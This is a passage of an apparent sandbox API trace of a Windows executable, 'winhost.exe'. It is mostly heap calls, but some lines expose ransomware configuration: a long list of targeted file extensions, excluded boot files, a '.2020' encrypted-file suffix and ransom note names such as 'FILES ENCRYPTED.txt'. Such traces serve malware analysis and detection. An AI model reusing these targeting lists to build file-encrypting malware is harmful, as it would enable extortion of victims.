(HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8d0 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc8e8 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc900 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc918 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc930 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fc948 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc960 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fc978 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc990 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9a8 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9c0 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9d8 [0058.215] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fc9f0 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fca08 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca20 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca38 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca50 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca68 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca80 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fca98 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcab0 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcac8 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcae0 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcaf8 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb10 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb28 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb40 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb58 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb70 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcb88 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcba0 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x4fcbb8 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12) returned 0x4e5f08 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbd0 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcbe8 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc00 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc18 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc30 [0058.216] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc70 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcc88 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcca0 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fccb8 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fccd0 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcce8 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd00 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd18 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd30 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd48 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd60 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd78 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcd90 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcda8 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcdc0 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcdd8 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcdf0 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fce08 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xe) returned 0x4fce20 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fce38 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea020 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce50 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea030 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce68 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce80 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fce98 [0058.217] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fceb0 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcec8 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcee0 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcef8 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf10 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf28 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf40 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcf58 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf70 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4fcf88 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcfa0 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x8) returned 0x4ea040 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcfb8 [0058.218] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xa) returned 0x4fcfd0 [0058.218] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e91a0, Size=0x800) returned 0x4fd458 [0058.218] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0058.218] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb450 | out: hHeap=0x4b0000) returned 1 [0058.219] lstrlenW (lpString="") returned 0 [0058.219] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdd98 | out: hHeap=0x4b0000) returned 1 [0058.219] lstrlenW (lpString=".2020") returned 5 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4758, Size=0x8) returned 0x4c4758 [0058.219] lstrlenW (lpString=".2020") returned 5 [0058.219] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdd98 | out: hHeap=0x4b0000) returned 1 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddc8, Size=0x20) returned 0x4c4378 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4378, Size=0x40) returned 0x4e6a88 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6a88, Size=0x80) returned 0x50b458 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0b0, Size=0x8) returned 0x4ea0c0 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0c0, Size=0x10) returned 0x4fddc8 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddc8, Size=0x20) returned 0x4c4350 [0058.219] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0058.219] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b458 | out: hHeap=0x4b0000) returned 1 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf8, Size=0x20) returned 0x4e5938 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5938, Size=0x40) returned 0x4e6a88 [0058.219] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0058.219] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0058.219] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6a88 | out: hHeap=0x4b0000) returned 1 [0058.219] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf8, Size=0x20) returned 0x4e5938 [0058.219] lstrlenW (lpString="Info.hta") returned 8 [0058.220] lstrlenW (lpString="Info.hta") returned 8 [0058.220] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5938 | out: hHeap=0x4b0000) returned 1 [0058.220] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x51d448, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0058.220] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d448 | out: hHeap=0x4b0000) returned 1 [0058.220] lstrlenW (lpString="winhost.exe") returned 11 [0058.220] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4350, Size=0x40) returned 0x4e6a88 [0058.220] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf8, Size=0x20) returned 0x4c4350 [0058.220] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fddf8, Size=0x20) returned 0x4e5938 [0058.220] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5938, Size=0x40) returned 0x4e6ad0 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ad0, Size=0x80) returned 0x50b458 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x4fb450 [0058.221] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0058.221] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb450 | out: hHeap=0x4b0000) returned 1 [0058.221] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x51d448, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0058.221] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x52d450 | out: hHeap=0x4b0000) returned 1 [0058.221] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51d448 | out: hHeap=0x4b0000) returned 1 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0c0, Size=0x8) returned 0x4ea0b0 [0058.221] lstrlenW (lpString="%windir%;") returned 9 [0058.221] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4350 | out: hHeap=0x4b0000) returned 1 [0058.221] lstrlenW (lpString="C:\\Windows;") returned 11 [0058.221] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d440 | out: hHeap=0x4b0000) returned 1 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fde10, Size=0x20) returned 0x4c4350 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c4350, Size=0x40) returned 0x4e6ad0 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6ad0, Size=0x80) returned 0x50b458 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x4fb450 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0f0, Size=0x8) returned 0x4ea100 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea100, Size=0x10) returned 0x4fde58 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fde58, Size=0x20) returned 0x4c4350 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0c0, Size=0x8) returned 0x4ea100 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0d0, Size=0x8) returned 0x4ea0c0 [0058.221] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0f0, Size=0x8) returned 0x4ea110 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea110, Size=0x10) returned 0x4fdf00 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdf00, Size=0x20) returned 0x4e5938 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea100, Size=0x10) returned 0x4fdf00 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea0c0, Size=0x10) returned 0x4fdf30 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea100, Size=0x8) returned 0x4ea0f0 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea120, Size=0x8) returned 0x4ea130 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdf00, Size=0x20) returned 0x4e58e8 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdf30, Size=0x20) returned 0x4e5848 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea140, Size=0x8) returned 0x4ea150 [0058.222] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0058.222] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb450 | out: hHeap=0x4b0000) returned 1 [0058.222] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdfa8, Size=0x20) returned 0x4e5960 [0058.222] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x50d440, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0058.222] lstrlenW (lpString="C:\\") returned 3 [0058.222] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.223] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50d440 | out: hHeap=0x4b0000) returned 1 [0058.223] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea180, Size=0x82) returned 0x4fb9b8 [0058.223] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea1a0, Size=0x100) returned 0x4fba48 [0058.223] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b8, Size=0x104) returned 0x4fbc70 [0058.223] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fba48, Size=0x200) returned 0x4fbd80 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea190 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbd80 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb5d0 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b5f0 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe008 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b678 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe038 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbc70 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fe020 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbb50 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb5e8 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fbbe0 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb600 | out: hHeap=0x4b0000) returned 1 [0058.225] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe020, Size=0x20) returned 0x4e5988 [0058.225] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5988, Size=0x40) returned 0x4e6ad0 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea160 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdfa8 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fb528 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdfd8 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b568 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdfc0 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea170 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4fdff0 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e7ed0 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e6008 | out: hHeap=0x4b0000) returned 1 [0058.225] lstrlenW (lpString="%systemdrive%") returned 13 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e5960 | out: hHeap=0x4b0000) returned 1 [0058.225] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x50b458 | out: hHeap=0x4b0000) returned 1 [0058.226] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ea140 | out: hHeap=0x4b0000) returned 1 [0058.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x4eb430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0058.226] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fdff0, Size=0x20) returned 0x4e5988 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5988, Size=0x40) returned 0x4e6b18 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b18, Size=0x80) returned 0x50b458 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x4fb9b8 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b8, Size=0x200) returned 0x4fb9b8 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b8, Size=0x400) returned 0x4fb9b8 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b8, Size=0x800) returned 0x4fb9b8 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fb9b8, Size=0x1000) returned 0x500068 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea140, Size=0x8) returned 0x4ea160 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4ea160, Size=0x10) returned 0x4fe008 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fe008, Size=0x20) returned 0x4e5988 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e5988, Size=0x40) returned 0x4e6b18 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4e6b18, Size=0x80) returned 0x50b458 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50b458, Size=0x100) returned 0x501088 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x501088, Size=0x200) returned 0x4fbdb8 [0058.227] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4fbdb8, Size=0x400) returned 0x503070 [0058.228] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x503070, Size=0x800) returned 0x504078 [0058.228] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;